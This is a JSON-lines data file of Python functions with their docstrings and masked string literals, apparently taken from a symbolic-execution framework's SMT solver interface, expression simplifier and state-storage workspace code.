{"signature": "def _send(self, cmd: str):", "body": "logger.debug('<STR_LIT>', cmd)<EOL>try:<EOL><INDENT>self._proc.stdout.flush()<EOL>self._proc.stdin.write(f'<STR_LIT>')<EOL><DEDENT>except IOError as e:<EOL><INDENT>raise SolverError(str(e))<EOL><DEDENT>", "docstring": "Send a string to the solver.\n\n:param cmd: a SMTLIBv2 command (ex. (check-sat))", "id": "f16986:c1:m8"}
{"signature": "def _recv(self) -> str:", "body": "buf, left, right = self.__readline_and_count()<EOL>bufl = [buf]<EOL>while left != right:<EOL><INDENT>buf, l, r = self.__readline_and_count()<EOL>bufl.append(buf)<EOL>left += l<EOL>right += r<EOL><DEDENT>buf = '<STR_LIT>'.join(bufl).strip()<EOL>logger.debug('<STR_LIT>', buf)<EOL>if '<STR_LIT>' in bufl[<NUM_LIT:0>]:<EOL><INDENT>raise Exception(f\"<STR_LIT>\")<EOL><DEDENT>return buf<EOL>", "docstring": "Reads the response from the solver", "id": "f16986:c1:m9"}
{"signature": "def _is_sat(self) -> bool:", "body": "logger.debug(\"<STR_LIT>\")<EOL>start = time.time()<EOL>self._send('<STR_LIT>')<EOL>status = self._recv()<EOL>logger.debug(\"<STR_LIT>\", time.time() - start, status)<EOL>if status not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise SolverError(status)<EOL><DEDENT>if consider_unknown_as_unsat:<EOL><INDENT>if status == '<STR_LIT>':<EOL><INDENT>logger.info('<STR_LIT>')<EOL>status = '<STR_LIT>'<EOL><DEDENT><DEDENT>if status == '<STR_LIT>':<EOL><INDENT>raise SolverUnknown(status)<EOL><DEDENT>return status == '<STR_LIT>'<EOL>", "docstring": "Check the satisfiability of the current state\n\n:return: whether current state is satisfiable or not.", "id": "f16986:c1:m11"}
{"signature": "def _assert(self, expression: Bool):", "body": "assert isinstance(expression, Bool)<EOL>smtlib = translate_to_smtlib(expression)<EOL>self._send('<STR_LIT>' % smtlib)<EOL>", "docstring": "Auxiliary method to send an assert", "id": "f16986:c1:m12"}
{"signature": "def _getvalue(self, expression):", "body": "if not issymbolic(expression):<EOL><INDENT>return expression<EOL><DEDENT>assert isinstance(expression, Variable)<EOL>if isinstance(expression, Array):<EOL><INDENT>result = bytearray()<EOL>for c in expression:<EOL><INDENT>expression_str = translate_to_smtlib(c)<EOL>self._send('<STR_LIT>' % expression_str)<EOL>response = self._recv()<EOL>result.append(int('<STR_LIT>'.format(response.split(expression_str)[<NUM_LIT:1>][<NUM_LIT:3>:-<NUM_LIT:2>]), <NUM_LIT:16>))<EOL><DEDENT>return bytes(result)<EOL><DEDENT>else:<EOL><INDENT>self._send('<STR_LIT>' % expression.name)<EOL>ret = self._recv()<EOL>assert ret.startswith('<STR_LIT>') and ret.endswith('<STR_LIT>'), ret<EOL>if isinstance(expression, Bool):<EOL><INDENT>return {'<STR_LIT:true>': True, '<STR_LIT:false>': False}[ret[<NUM_LIT:2>:-<NUM_LIT:2>].split('<STR_LIT:U+0020>')[<NUM_LIT:1>]]<EOL><DEDENT>elif isinstance(expression, BitVec):<EOL><INDENT>pattern, base = self._get_value_fmt<EOL>m = pattern.match(ret)<EOL>expr, value = m.group('<STR_LIT>'), m.group('<STR_LIT:value>')<EOL>return int(value, base)<EOL><DEDENT><DEDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Ask the solver for one possible assignment for given expression using current set of constraints.\nThe current set of expressions must be sat.\n\nNOTE: This is an internal method: it uses the current solver state (set of constraints!).", "id": "f16986:c1:m13"}
{"signature": "def _push(self):", "body": "self._send('<STR_LIT>')<EOL>", "docstring": "Pushes and save the current constraint store and state.", "id": "f16986:c1:m14"}
{"signature": "def _pop(self):", "body": "self._send('<STR_LIT>')<EOL>", "docstring": "Recall the last pushed constraint store and state.", "id": "f16986:c1:m15"}
{"signature": "def can_be_true(self, constraints, expression):", "body": "if isinstance(expression, bool):<EOL><INDENT>if not expression:<EOL><INDENT>return expression<EOL><DEDENT>else:<EOL><INDENT>self._reset(constraints)<EOL>return self._is_sat()<EOL><DEDENT><DEDENT>assert isinstance(expression, Bool)<EOL>with constraints as temp_cs:<EOL><INDENT>temp_cs.add(expression)<EOL>self._reset(temp_cs.to_string(related_to=expression))<EOL>return self._is_sat()<EOL><DEDENT>", "docstring": "Check if two potentially symbolic values can be equal", "id": "f16986:c1:m16"}
{"signature": "def get_all_values(self, constraints, expression, maxcnt=None, silent=False):", "body": "if not isinstance(expression, Expression):<EOL><INDENT>return [expression]<EOL><DEDENT>assert isinstance(constraints, ConstraintSet)<EOL>assert isinstance(expression, Expression)<EOL>expression = simplify(expression)<EOL>if maxcnt is None:<EOL><INDENT>maxcnt = consts.maxsolutions<EOL><DEDENT>with constraints as temp_cs:<EOL><INDENT>if isinstance(expression, Bool):<EOL><INDENT>var = temp_cs.new_bool()<EOL><DEDENT>elif isinstance(expression, BitVec):<EOL><INDENT>var = temp_cs.new_bitvec(expression.size)<EOL><DEDENT>elif isinstance(expression, Array):<EOL><INDENT>var = temp_cs.new_array(index_max=expression.index_max, value_bits=expression.value_bits, taint=expression.taint).array<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(f\"<STR_LIT>\")<EOL><DEDENT>temp_cs.add(var == expression)<EOL>self._reset(temp_cs.to_string(related_to=var))<EOL>result = []<EOL>while self._is_sat():<EOL><INDENT>value = self._getvalue(var)<EOL>result.append(value)<EOL>self._assert(var != value)<EOL>if len(result) >= maxcnt:<EOL><INDENT>if silent:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>raise TooManySolutions(result)<EOL><DEDENT><DEDENT><DEDENT>return result<EOL><DEDENT>", "docstring": "Returns a list with all the possible values for the symbol x", "id": "f16986:c1:m17"}
{"signature": "def optimize(self, constraints: ConstraintSet, x: BitVec, goal: str, M=<NUM_LIT>):", "body": "assert goal in ('<STR_LIT>', '<STR_LIT>')<EOL>assert isinstance(x, BitVec)<EOL>operation = {'<STR_LIT>': Operators.UGE, '<STR_LIT>': Operators.ULE}[goal]<EOL>with constraints as temp_cs:<EOL><INDENT>X = temp_cs.new_bitvec(x.size)<EOL>temp_cs.add(X == x)<EOL>aux = temp_cs.new_bitvec(X.size, name='<STR_LIT>')<EOL>self._reset(temp_cs.to_string(related_to=X))<EOL>self._send(aux.declaration)<EOL>if getattr(self, f'<STR_LIT>'):<EOL><INDENT>self._push()<EOL>try:<EOL><INDENT>self._assert(operation(X, aux))<EOL>self._send('<STR_LIT>' % (goal, aux.name))<EOL>self._send('<STR_LIT>')<EOL>_status = self._recv()<EOL>if _status not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>maybe_sat = self._recv()<EOL>if maybe_sat == '<STR_LIT>':<EOL><INDENT>m = RE_MIN_MAX_OBJECTIVE_EXPR_VALUE.match(_status)<EOL>expr, value = m.group('<STR_LIT>'), m.group('<STR_LIT:value>')<EOL>assert expr == aux.name<EOL>return int(value)<EOL><DEDENT><DEDENT>elif _status == '<STR_LIT>':<EOL><INDENT>ret = self._recv()<EOL>if not (ret.startswith('<STR_LIT:(>') and ret.endswith('<STR_LIT:)>')):<EOL><INDENT>raise SolverError('<STR_LIT>')<EOL><DEDENT>m = RE_OBJECTIVES_EXPR_VALUE.match(ret)<EOL>expr, value = m.group('<STR_LIT>'), m.group('<STR_LIT:value>')<EOL>assert expr == aux.name<EOL>return int(value)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._pop()<EOL>self._reset(temp_cs)<EOL>self._send(aux.declaration)<EOL><DEDENT><DEDENT>operation = {'<STR_LIT>': Operators.UGT, '<STR_LIT>': Operators.ULT}[goal]<EOL>self._assert(aux == X)<EOL>last_value = None<EOL>i = <NUM_LIT:0><EOL>while self._is_sat():<EOL><INDENT>last_value = self._getvalue(aux)<EOL>self._assert(operation(aux, last_value))<EOL>i = i + <NUM_LIT:1><EOL>if i > M:<EOL><INDENT>raise SolverError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if last_value is not None:<EOL><INDENT>return last_value<EOL><DEDENT>raise SolverError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Iteratively finds the maximum or minimum value for the operation\n(Normally Operators.UGT or Operators.ULT)\n\n:param constraints: constraints to take into account\n:param x: a symbol or expression\n:param goal: goal to achieve, either 'maximize' or 'minimize'\n:param M: maximum number of iterations allowed", "id": "f16986:c1:m18"}
{"signature": "def get_value(self, constraints, expression):", "body": "if not issymbolic(expression):<EOL><INDENT>return expression<EOL><DEDENT>assert isinstance(expression, (Bool, BitVec, Array))<EOL>with constraints as temp_cs:<EOL><INDENT>if isinstance(expression, Bool):<EOL><INDENT>var = temp_cs.new_bool()<EOL><DEDENT>elif isinstance(expression, BitVec):<EOL><INDENT>var = temp_cs.new_bitvec(expression.size)<EOL><DEDENT>elif isinstance(expression, Array):<EOL><INDENT>var = []<EOL>result = []<EOL>for i in range(expression.index_max):<EOL><INDENT>subvar = temp_cs.new_bitvec(expression.value_bits)<EOL>var.append(subvar)<EOL>temp_cs.add(subvar == simplify(expression[i]))<EOL><DEDENT>self._reset(temp_cs)<EOL>if not self._is_sat():<EOL><INDENT>raise SolverError('<STR_LIT>')<EOL><DEDENT>for i in range(expression.index_max):<EOL><INDENT>self._send('<STR_LIT>' % var[i].name)<EOL>ret = self._recv()<EOL>assert ret.startswith('<STR_LIT>') and ret.endswith('<STR_LIT>')<EOL>pattern, base = self._get_value_fmt<EOL>m = pattern.match(ret)<EOL>expr, value = m.group('<STR_LIT>'), m.group('<STR_LIT:value>')<EOL>result.append(int(value, base))<EOL><DEDENT>return bytes(result)<EOL><DEDENT>temp_cs.add(var == expression)<EOL>self._reset(temp_cs)<EOL><DEDENT>if not self._is_sat():<EOL><INDENT>raise SolverError('<STR_LIT>')<EOL><DEDENT>self._send('<STR_LIT>' % var.name)<EOL>ret = self._recv()<EOL>if not (ret.startswith('<STR_LIT>') and ret.endswith('<STR_LIT>')):<EOL><INDENT>raise SolverError('<STR_LIT>' % ret)<EOL><DEDENT>if isinstance(expression, Bool):<EOL><INDENT>return {'<STR_LIT:true>': True, '<STR_LIT:false>': False}[ret[<NUM_LIT:2>:-<NUM_LIT:2>].split('<STR_LIT:U+0020>')[<NUM_LIT:1>]]<EOL><DEDENT>if isinstance(expression, BitVec):<EOL><INDENT>pattern, base = self._get_value_fmt<EOL>m = pattern.match(ret)<EOL>expr, value = m.group('<STR_LIT>'), m.group('<STR_LIT:value>')<EOL>return int(value, base)<EOL><DEDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Ask the solver for one possible result of given expression using given set of constraints.", "id": "f16986:c1:m19"}
{"signature": "def to_constant(expression):", "body": "value = simplify(expression)<EOL>if isinstance(value, Expression) and value.taint:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(value, Constant):<EOL><INDENT>return value.value<EOL><DEDENT>elif isinstance(value, Array):<EOL><INDENT>if expression.index_max:<EOL><INDENT>ba = bytearray()<EOL>for i in range(expression.index_max):<EOL><INDENT>value_i = simplify(value[i])<EOL>if not isinstance(value_i, Constant):<EOL><INDENT>break<EOL><DEDENT>ba.append(value_i.value)<EOL><DEDENT>else:<EOL><INDENT>return bytes(ba)<EOL><DEDENT>return expression<EOL><DEDENT><DEDENT>return value<EOL>", "docstring": "Iff the expression can be simplified to a Constant get the actual concrete value.\nThis discards/ignore any taint", "id": "f16987:m4"}
{"signature": "def visit(self, node, use_fixed_point=False):", "body": "cache = self._cache<EOL>visited = set()<EOL>stack = []<EOL>stack.append(node)<EOL>while stack:<EOL><INDENT>node = stack.pop()<EOL>if node in cache:<EOL><INDENT>self.push(cache[node])<EOL><DEDENT>elif isinstance(node, Operation):<EOL><INDENT>if node in visited:<EOL><INDENT>operands = [self.pop() for _ in range(len(node.operands))]<EOL>value = self._method(node, *operands)<EOL>visited.remove(node)<EOL>self.push(value)<EOL>cache[node] = value<EOL><DEDENT>else:<EOL><INDENT>visited.add(node)<EOL>stack.append(node)<EOL>stack.extend(node.operands)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.push(self._method(node))<EOL><DEDENT><DEDENT>if use_fixed_point:<EOL><INDENT>old_value = None<EOL>new_value = self.pop()<EOL>while old_value is not new_value:<EOL><INDENT>self.visit(new_value)<EOL>old_value = new_value<EOL>new_value = self.pop()<EOL><DEDENT>self.push(new_value)<EOL><DEDENT>", "docstring": "The entry point of the visitor.\nThe exploration algorithm is a DFS post-order traversal\nThe implementation used two stacks instead of a recursion\nThe final result is store in self.result\n\n:param node: Node to explore\n:type node: Expression\n:param use_fixed_point: if True, it runs _methods until a fixed point is found\n:type use_fixed_point: Bool", "id": "f16987:c0:m5"}
{"signature": "def visit(self, expression):", "body": "self._method(expression)<EOL>", "docstring": "Overload Visitor.visit because:\n- We need a pre-order traversal\n- We use a recursion as it makes it easier to keep track of the indentation", "id": "f16987:c4:m2"}
{"signature": "def _method(self, expression, *args):", "body": "assert expression.__class__.__mro__[-<NUM_LIT:1>] is object<EOL>for cls in expression.__class__.__mro__:<EOL><INDENT>sort = cls.__name__<EOL>methodname = '<STR_LIT>' % sort<EOL>method = getattr(self, methodname, None)<EOL>if method is not None:<EOL><INDENT>method(expression, *args)<EOL>return<EOL><DEDENT><DEDENT>return<EOL>", "docstring": "Overload Visitor._method because we want to stop to iterate over the\nvisit_ functions as soon as a valid visit_ function is found", "id": "f16987:c4:m3"}
{"signature": "def visit_Operation(self, expression, *operands):", "body": "operation = self.operations.get(type(expression), None)<EOL>if operation is not None andall(isinstance(o, Constant) for o in operands):<EOL><INDENT>value = operation(*(x.value for x in operands))<EOL>if isinstance(expression, BitVec):<EOL><INDENT>return BitVecConstant(expression.size, value, taint=expression.taint)<EOL><DEDENT>else:<EOL><INDENT>isinstance(expression, Bool)<EOL>return BoolConstant(value, taint=expression.taint)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if any(operands[i] is not expression.operands[i] for i in range(len(operands))):<EOL><INDENT>expression = self._rebuild(expression, operands)<EOL><DEDENT><DEDENT>return expression<EOL>", "docstring": "constant folding, if all operands of an expression are a Constant do the math", "id": "f16987:c5:m7"}
{"signature": "def visit_Operation(self, expression, *operands):", "body": "if all(isinstance(o, Constant) for o in operands):<EOL><INDENT>expression = constant_folder(expression)<EOL><DEDENT>if self._changed(expression, operands):<EOL><INDENT>expression = self._rebuild(expression, operands)<EOL><DEDENT>return expression<EOL>", "docstring": "constant folding, if all operands of an expression are a Constant do the math", "id": "f16987:c6:m3"}
{"signature": "def visit_BitVecConcat(self, expression, *operands):", "body": "op = expression.operands[<NUM_LIT:0>]<EOL>value = None<EOL>end = None<EOL>begining = None<EOL>for o in operands:<EOL><INDENT>if not isinstance(o, BitVecExtract):<EOL><INDENT>return None<EOL><DEDENT>if value is None:<EOL><INDENT>value = o.value<EOL>begining = o.begining<EOL>end = o.end<EOL><DEDENT>else:<EOL><INDENT>if value is not o.value:<EOL><INDENT>return None<EOL><DEDENT>if begining != o.end + <NUM_LIT:1>:<EOL><INDENT>return None<EOL><DEDENT>begining = o.begining<EOL><DEDENT><DEDENT>if value is not None:<EOL><INDENT>if end + <NUM_LIT:1> == value.size and begining == <NUM_LIT:0>:<EOL><INDENT>return value<EOL><DEDENT>else:<EOL><INDENT>return BitVecExtract(value, begining, end - begining + <NUM_LIT:1>, taint=expression.taint)<EOL><DEDENT><DEDENT>", "docstring": "concat( extract(k1, 0, a), extract(sizeof(a)-k1, k1, a))  ==> a\n            concat( extract(k1, beg, a), extract(end, k1, a))  ==> extract(beg, end, a)", "id": "f16987:c6:m6"}
{"signature": "def visit_BitVecExtract(self, expression, *operands):", "body": "op = expression.operands[<NUM_LIT:0>]<EOL>begining = expression.begining<EOL>end = expression.end<EOL>size = end - begining + <NUM_LIT:1><EOL>if begining == <NUM_LIT:0> and end + <NUM_LIT:1> == op.size:<EOL><INDENT>return op<EOL><DEDENT>elif isinstance(op, BitVecExtract):<EOL><INDENT>return BitVecExtract(op.value, op.begining + begining, size, taint=expression.taint)<EOL><DEDENT>elif isinstance(op, BitVecConcat):<EOL><INDENT>new_operands = []<EOL>bitcount = <NUM_LIT:0><EOL>for item in reversed(op.operands):<EOL><INDENT>if begining >= item.size:<EOL><INDENT>begining -= item.size<EOL><DEDENT>else:<EOL><INDENT>if bitcount < expression.size:<EOL><INDENT>new_operands.append(item)<EOL><DEDENT>bitcount += item.size<EOL><DEDENT><DEDENT>if begining != expression.begining:<EOL><INDENT>return BitVecExtract(BitVecConcat(sum([x.size for x in new_operands]), *reversed(new_operands)),<EOL>begining, expression.size, taint=expression.taint)<EOL><DEDENT><DEDENT>if isinstance(op, (BitVecAnd, BitVecOr, BitVecXor)):<EOL><INDENT>bitoperand_a, bitoperand_b = op.operands<EOL>return op.__class__(BitVecExtract(bitoperand_a, begining, expression.size), BitVecExtract(bitoperand_b, begining, expression.size), taint=expression.taint)<EOL><DEDENT>", "docstring": "extract(sizeof(a), 0)(a)  ==> a\n            extract(16, 0)( concat(a,b,c,d) ) => concat(c, d)\n            extract(m,M)(and/or/xor a b ) => and/or/xor((extract(m,M) a) (extract(m,M) a)", "id": "f16987:c6:m7"}
{"signature": "def visit_BitVecAdd(self, expression, *operands):", "body": "left = expression.operands[<NUM_LIT:0>]<EOL>right = expression.operands[<NUM_LIT:1>]<EOL>if isinstance(right, BitVecConstant):<EOL><INDENT>if right.value == <NUM_LIT:0>:<EOL><INDENT>return left<EOL><DEDENT><DEDENT>if isinstance(left, BitVecConstant):<EOL><INDENT>if left.value == <NUM_LIT:0>:<EOL><INDENT>return right<EOL><DEDENT><DEDENT>", "docstring": "a + 0  ==> a\n            0 + a  ==> a", "id": "f16987:c6:m8"}
{"signature": "def visit_BitVecSub(self, expression, *operands):", "body": "left = expression.operands[<NUM_LIT:0>]<EOL>right = expression.operands[<NUM_LIT:1>]<EOL>if isinstance(left, BitVecAdd):<EOL><INDENT>if self._same_constant(left.operands[<NUM_LIT:0>], right):<EOL><INDENT>return left.operands[<NUM_LIT:1>]<EOL><DEDENT>elif self._same_constant(left.operands[<NUM_LIT:1>], right):<EOL><INDENT>return left.operands[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>", "docstring": "a - 0 ==> 0\n            (a + b) - b  ==> a\n            (b + a) - b  ==> a", "id": "f16987:c6:m9"}
{"signature": "def visit_BitVecOr(self, expression, *operands):", "body": "left = expression.operands[<NUM_LIT:0>]<EOL>right = expression.operands[<NUM_LIT:1>]<EOL>if isinstance(right, BitVecConstant):<EOL><INDENT>if right.value == <NUM_LIT:0>:<EOL><INDENT>return left<EOL><DEDENT>elif right.value == left.mask:<EOL><INDENT>return right<EOL><DEDENT>elif isinstance(left, BitVecOr):<EOL><INDENT>left_left = left.operands[<NUM_LIT:0>]<EOL>left_right = left.operands[<NUM_LIT:1>]<EOL>if isinstance(right, Constant):<EOL><INDENT>return BitVecOr(left_left, (left_right | right), taint=expression.taint)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(left, BitVecConstant):<EOL><INDENT>return BitVecOr(right, left, taint=expression.taint)<EOL><DEDENT>", "docstring": "a | 0 => a\n            0 | a => a\n            0xffffffff & a => 0xffffffff\n            a & 0xffffffff => 0xffffffff", "id": "f16987:c6:m10"}
{"signature": "def visit_BitVecAnd(self, expression, *operands):", "body": "left = expression.operands[<NUM_LIT:0>]<EOL>right = expression.operands[<NUM_LIT:1>]<EOL>if isinstance(right, BitVecConstant):<EOL><INDENT>if right.value == <NUM_LIT:0>:<EOL><INDENT>return right<EOL><DEDENT>elif right.value == right.mask:<EOL><INDENT>return left<EOL><DEDENT>elif isinstance(left, BitVecAnd):<EOL><INDENT>left_left = left.operands[<NUM_LIT:0>]<EOL>left_right = left.operands[<NUM_LIT:1>]<EOL>if isinstance(right, Constant):<EOL><INDENT>return BitVecAnd(left_left, left_right & right, taint=expression.taint)<EOL><DEDENT><DEDENT>elif isinstance(left, BitVecOr):<EOL><INDENT>left_left = left.operands[<NUM_LIT:0>]<EOL>left_right = left.operands[<NUM_LIT:1>]<EOL>return BitVecOr(right & left_left, right & left_right, taint=expression.taint)<EOL><DEDENT><DEDENT>elif isinstance(left, BitVecConstant):<EOL><INDENT>return BitVecAnd(right, left, taint=expression.taint)<EOL><DEDENT>", "docstring": "ct & x => x & ct                move constants to the right\n            a & 0 => 0                      remove zero\n            a & 0xffffffff => a             remove full mask\n            (b & ct2) & ct => b & (ct&ct2)  associative property\n            (a & (b | c) => a&b | a&c       distribute over |", "id": "f16987:c6:m11"}
{"signature": "def visit_BitVecShiftLeft(self, expression, *operands):", "body": "left = expression.operands[<NUM_LIT:0>]<EOL>right = expression.operands[<NUM_LIT:1>]<EOL>if isinstance(right, BitVecConstant):<EOL><INDENT>if right.value == <NUM_LIT:0>:<EOL><INDENT>return left<EOL><DEDENT>elif right.value >= right.size:<EOL><INDENT>return left<EOL><DEDENT><DEDENT>", "docstring": "a << 0 => a                       remove zero\n            a << ct => 0 if ct > sizeof(a)    remove big constant shift", "id": "f16987:c6:m12"}
{"signature": "def visit_ArraySelect(self, expression, *operands):", "body": "arr, index = operands<EOL>if isinstance(arr, ArrayVariable):<EOL><INDENT>return<EOL><DEDENT>if isinstance(index, BitVecConstant):<EOL><INDENT>ival = index.value<EOL>while isinstance(arr, ArrayStore) and isinstance(arr._operands[<NUM_LIT:1>], BitVecConstant) and arr._operands[<NUM_LIT:1>]._value != ival:<EOL><INDENT>arr = arr._operands[<NUM_LIT:0>]  <EOL><DEDENT><DEDENT>if isinstance(index, BitVecConstant) and isinstance(arr, ArrayStore) and isinstance(arr.index, BitVecConstant) and arr.index.value == index.value:<EOL><INDENT>return arr.value<EOL><DEDENT>else:<EOL><INDENT>if arr is not expression.array:<EOL><INDENT>return arr.select(index)<EOL><DEDENT><DEDENT>", "docstring": "ArraySelect (ArrayStore((ArrayStore(x0,v0) ...),xn, vn), x0)\n                -> v0", "id": "f16987:c6:m13"}
{"signature": "def _fix_index(self, index):", "body": "stop, start = index.stop, index.start<EOL>if start is None:<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>if stop is None:<EOL><INDENT>stop = len(self)<EOL><DEDENT>return start, stop<EOL>", "docstring": ":param slice index:", "id": "f16989:c44:m2"}
{"signature": "def sync(f):", "body": "def new_function(self, *args, **kw):<EOL><INDENT>self._lock.acquire()<EOL>try:<EOL><INDENT>return f(self, *args, **kw)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT><DEDENT>return new_function<EOL>", "docstring": "Synchronization decorator.", "id": "f16991:m1"}
{"signature": "@classmethod<EOL><INDENT>def fromdescriptor(cls, desc):<DEDENT>", "body": "type_, uri = ('<STR_LIT>', None) if desc is None else desc.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>for subclass in cls.__subclasses__():<EOL><INDENT>if subclass.store_type == type_:<EOL><INDENT>return subclass(uri)<EOL><DEDENT><DEDENT>raise NotImplementedError(f\"<STR_LIT>\")<EOL>", "docstring": "Create a :class:`~manticore.core.workspace.Store` instance depending on the descriptor.\n\nValid descriptors:\n  * fs:<path>\n  * redis:<hostname>:<port>\n  * mem:\n\n:param str desc: Store descriptor\n:return: Store instance", "id": "f16991:c1:m0"}
{"signature": "def save_value(self, key, value):", "body": "with self.save_stream(key) as s:<EOL><INDENT>s.write(value)<EOL><DEDENT>", "docstring": "Save an arbitrary, serializable `value` under `key`.\n\n:param str key: A string identifier under which to store the value.\n:param value: A serializable value\n:return:", "id": "f16991:c1:m2"}
{"signature": "def load_value(self, key, binary=False):", "body": "with self.load_stream(key, binary=binary) as s:<EOL><INDENT>return s.read()<EOL><DEDENT>", "docstring": "Load an arbitrary value identified by `key`.\n\n:param str key: The key that identifies the value\n:return: The loaded value", "id": "f16991:c1:m3"}
{"signature": "@contextmanager<EOL><INDENT>def save_stream(self, key, binary=False):<DEDENT>", "body": "s = io.BytesIO() if binary else io.StringIO()<EOL>yield s<EOL>self.save_value(key, s.getvalue())<EOL>", "docstring": "Return a managed file-like object into which the calling code can write\narbitrary data.\n\n:param key:\n:return: A managed stream-like object", "id": "f16991:c1:m4"}
{"signature": "@contextmanager<EOL><INDENT>def load_stream(self, key, binary=False):<DEDENT>", "body": "value = self.load_value(key, binary=binary)<EOL>yield io.BytesIO(value) if binary else io.StringIO(value)<EOL>", "docstring": "Return a managed file-like object from which the calling code can read\npreviously-serialized data.\n\n:param key:\n:return: A managed stream-like object", "id": "f16991:c1:m5"}
{"signature": "def save_state(self, state, key):", "body": "with self.save_stream(key, binary=True) as f:<EOL><INDENT>self._serializer.serialize(state, f)<EOL><DEDENT>", "docstring": "Save a state to storage.\n\n:param manticore.core.StateBase state:\n:param str key:\n:return:", "id": "f16991:c1:m6"}
{"signature": "def load_state(self, key, delete=True):", "body": "with self.load_stream(key, binary=True) as f:<EOL><INDENT>state = self._serializer.deserialize(f)<EOL>if delete:<EOL><INDENT>self.rm(key)<EOL><DEDENT>return state<EOL><DEDENT>", "docstring": "Load a state from storage.\n\n:param key: key that identifies state\n:rtype: manticore.core.StateBase", "id": "f16991:c1:m7"}
{"signature": "def rm(self, key):", "body": "raise NotImplementedError<EOL>", "docstring": "Remove value identified by `key` from storage.\n\n:param str key: What to remove", "id": "f16991:c1:m8"}
{"signature": "def ls(self, glob_str):", "body": "raise NotImplementedError<EOL>", "docstring": "List all keys in storage\n\n:return:", "id": "f16991:c1:m9"}
{"signature": "def __init__(self, uri=None):", "body": "if not uri:<EOL><INDENT>uri = os.path.abspath(tempfile.mkdtemp(prefix=consts.prefix, dir=consts.dir))<EOL><DEDENT>if os.path.exists(uri):<EOL><INDENT>assert os.path.isdir(uri), '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>os.mkdir(uri)<EOL><DEDENT>super().__init__(uri)<EOL>", "docstring": ":param uri: The path to on-disk workspace, or None.", "id": "f16991:c2:m0"}
{"signature": "@contextmanager<EOL><INDENT>def save_stream(self, key, binary=False):<DEDENT>", "body": "mode = '<STR_LIT:wb>' if binary else '<STR_LIT:w>'<EOL>with open(os.path.join(self.uri, key), mode) as f:<EOL><INDENT>yield f<EOL><DEDENT>", "docstring": "Yield a file object representing `key`\n\n:param str key: The file to save to\n:param bool binary: Whether we should treat it as binary\n:return:", "id": "f16991:c2:m1"}
{"signature": "@contextmanager<EOL><INDENT>def load_stream(self, key, binary=False):<DEDENT>", "body": "with open(os.path.join(self.uri, key), '<STR_LIT:rb>' if binary else '<STR_LIT:r>') as f:<EOL><INDENT>yield f<EOL><DEDENT>", "docstring": ":param str key: name of stream to load\n:param bool binary: Whether we should treat it as binary\n:return:", "id": "f16991:c2:m2"}
{"signature": "def rm(self, key):", "body": "path = os.path.join(self.uri, key)<EOL>os.remove(path)<EOL>", "docstring": "Remove file identified by `key`.\n\n:param str key: The file to delete", "id": "f16991:c2:m3"}
{"signature": "def ls(self, glob_str):", "body": "path = os.path.join(self.uri, glob_str)<EOL>return [os.path.split(s)[<NUM_LIT:1>] for s in glob.glob(path)]<EOL>", "docstring": "Return just the filenames that match `glob_str` inside the store directory.\n\n:param str glob_str: A glob string, i.e. 'state_*'\n:return: list of matched keys", "id": "f16991:c2:m4"}
{"signature": "def __init__(self, uri=None):", "body": "<EOL>import redis<EOL>hostname, port = uri.split('<STR_LIT::>')<EOL>self._client = redis.StrictRedis(host=hostname, port=int(port), db=<NUM_LIT:0>)<EOL>super().__init__(uri)<EOL>", "docstring": ":param uri: A url for redis", "id": "f16991:c4:m0"}
{"signature": "def save_value(self, key, value):", "body": "return self._client.set(key, value)<EOL>", "docstring": "Save an arbitrary, serializable `value` under `key`.\n\n:param str key: A string identifier under which to store the value.\n:param value: A serializable value\n:return:", "id": "f16991:c4:m1"}
{"signature": "def load_value(self, key):", "body": "return self._client.get(key)<EOL>", "docstring": "Load an arbitrary value identified by `key`.\n\n:param str key: The key that identifies the value\n:return: The loaded value", "id": "f16991:c4:m2"}
{"signature": "@sync<EOL><INDENT>def _get_id(self):<DEDENT>", "body": "id_ = self._last_id.value<EOL>self._last_id.value += <NUM_LIT:1><EOL>return id_<EOL>", "docstring": "Get a unique state id.\n\n:rtype: int", "id": "f16991:c5:m2"}
{"signature": "def load_state(self, state_id, delete=True):", "body": "return self._store.load_state(f'<STR_LIT>', delete=delete)<EOL>", "docstring": "Load a state from storage identified by `state_id`.\n\n:param state_id: The state reference of what to load\n:return: The deserialized state\n:rtype: State", "id": "f16991:c5:m3"}
{"signature": "def save_state(self, state, state_id=None):", "body": "assert isinstance(state, StateBase)<EOL>if state_id is None:<EOL><INDENT>state_id = self._get_id()<EOL><DEDENT>else:<EOL><INDENT>self.rm_state(state_id)<EOL><DEDENT>self._store.save_state(state, f'<STR_LIT>')<EOL>return state_id<EOL>", "docstring": "Save a state to storage, return identifier.\n\n:param state: The state to save\n:param int state_id: If not None force the state id potentially overwriting old states\n:return: New state id\n:rtype: int", "id": "f16991:c5:m4"}
{"signature": "def rm_state(self, state_id):", "body": "return self._store.rm(f'<STR_LIT>')<EOL>", "docstring": "Remove a state from storage identified by `state_id`.\n\n:param state_id: The state reference of what to load", "id": "f16991:c5:m5"}
{"signature": "def __init__(self, desc=None):", "body": "self._named_key_prefix = '<STR_LIT:test>'<EOL>self._descriptor = desc<EOL>self._store = Store.fromdescriptor(desc)<EOL>self._last_id = <NUM_LIT:0><EOL>self._id_gen = manager().Value('<STR_LIT:i>', self._last_id)<EOL>self._lock = manager().Condition(manager().RLock())<EOL>", "docstring": "Create an object capable of producing Manticore output.\n\n:param desc: A descriptor ('type:uri') of where to write output.", "id": "f16991:c6:m0"}
